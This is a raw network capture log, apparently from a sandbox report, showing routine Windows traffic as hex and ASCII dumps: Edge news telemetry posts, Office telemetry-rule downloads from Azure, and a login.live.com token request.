2024-11-20 20:06:00 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732138126818&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5319 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=27F5C03F1FAA650B38E3D5021EB364FD; _EDGE_S=F=1&SID=18C13228E167604F108E2715E0526145; _EDGE_V=1; msnup=
2024-11-20 20:06:00 UTC	5319	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 30 54 32 31 3a 32 38 3a 34 36 2e 38 31 37 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 35 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 37 31 62 62 32 39 66 62 2d 39 61 31 63 2d 34 38 66 39 2d 61 33 63 66 2d 62 39 62 66 61 34 62 36 34 65 35 36 22 2c 22 65 70 6f 63 68 22 3a 22 33 31 38 36 38 32 33 35 36 35 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-20T21:28:46.817Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":5,"installId":"71bb29fb-9a1c-48f9-a3cf-b9bfa4b64e56","epoch":"3186823565"},"app":{"locale
2024-11-20 20:06:01 UTC	894	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=be61b58f1c974f4bb1d9970c950159c3&HASH=be61&LV=202411&V=4&LU=1732133160719; Domain=.microsoft.com; Expires=Thu, 20 Nov 2025 20:06:00 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=5852bd43257a41b79d7b0c83d669421e; Domain=.microsoft.com; Expires=Wed, 20 Nov 2024 20:36:00 GMT; Path=/;Secure; SameSite=None time-delta-millis: -4966099 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 20 Nov 2024 20:06:00 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.7	49900	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:06:00 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:06:00 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:06:00 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 8176cca2-201e-0003-2c64-3bf85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200600Z-178bfbc474bwh9gmhC1NYCy3rs00000000fg000000005su1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 20:06:00 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.7	49902	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:06:00 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:06:00 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:06:00 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 47e3bf54-c01e-0082-038c-3aaf72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200600Z-r1d97b9957789nh9hC1TEBxha800000009cg00000000n4av x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:06:00 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.7	49901	104.46.162.227	443	4888	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:06:00 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732138127367&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5543 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=27F5C03F1FAA650B38E3D5021EB364FD; _EDGE_S=F=1&SID=18C13228E167604F108E2715E0526145; _EDGE_V=1; msnup=
2024-11-20 20:06:00 UTC	5543	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 30 54 32 31 3a 32 38 3a 34 37 2e 33 36 36 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 36 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 37 31 62 62 32 39 66 62 2d 39 61 31 63 2d 34 38 66 39 2d 61 33 63 66 2d 62 39 62 66 61 34 62 36 34 65 35 36 22 2c 22 65 70 6f 63 68 22 3a 22 33 31 38 36 38 32 33 35 36 35 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2024-11-20T21:28:47.366Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":6,"installId":"71bb29fb-9a1c-48f9-a3cf-b9bfa4b64e56","epoch":"3186823565"},"app":{"loc
2024-11-20 20:06:01 UTC	894	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=d21820e65ed44416ae0eb872c0a0ec20&HASH=d218&LV=202411&V=4&LU=1732133161286; Domain=.microsoft.com; Expires=Thu, 20 Nov 2025 20:06:01 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=a9afb0d9494c4747adbda599b465c685; Domain=.microsoft.com; Expires=Wed, 20 Nov 2024 20:36:01 GMT; Path=/;Secure; SameSite=None time-delta-millis: -4966081 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 20 Nov 2024 20:06:00 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.7	49903	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:06:00 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:06:01 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:06:01 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 733c6689-901e-007b-288c-3aac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200601Z-185f5d8b95cdtclvhC1NYC4rmc0000000av000000000nyvb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:06:01 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.7	49904	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:06:00 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:06:01 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:06:01 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: e7fd51b1-801e-0067-1163-3bfe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200601Z-178bfbc474bkvpdnhC1NYCuu2w00000000d0000000003690 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:06:01 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.7	49907	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:06:02 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:06:03 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:06:02 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: d35eb2be-501e-0064-3d8c-3a1f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200602Z-178bfbc474bmqmgjhC1NYCy16c00000000g0000000005hv9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 20:06:03 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.7	49906	40.126.53.18	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:06:02 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-20 20:06:02 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-20 20:06:03 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Nov 2024 20:05:03 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C557_BL2 x-ms-request-id: 82b3ef8c-4c1b-4ff6-9a17-0ca60841b28e PPServer: PPV: 30 H: BL02EPF0001D744 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Nov 2024 20:06:02 GMT Connection: close Content-Length: 11389
2024-11-20 20:06:03 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.7	49908	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:06:02 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:06:03 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:06:03 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 8508ba6c-501e-000a-071c-3b0180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200603Z-r1d97b99577l6wbzhC1TEB3fwn00000009ag00000000stgc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:06:03 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.7	49909	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:06:03 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:06:03 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:06:03 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: c1a1f15b-901e-005b-358c-3a2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200603Z-185f5d8b95c4vwv8hC1NYCy4v40000000awg00000000bv70 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 20:06:03 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 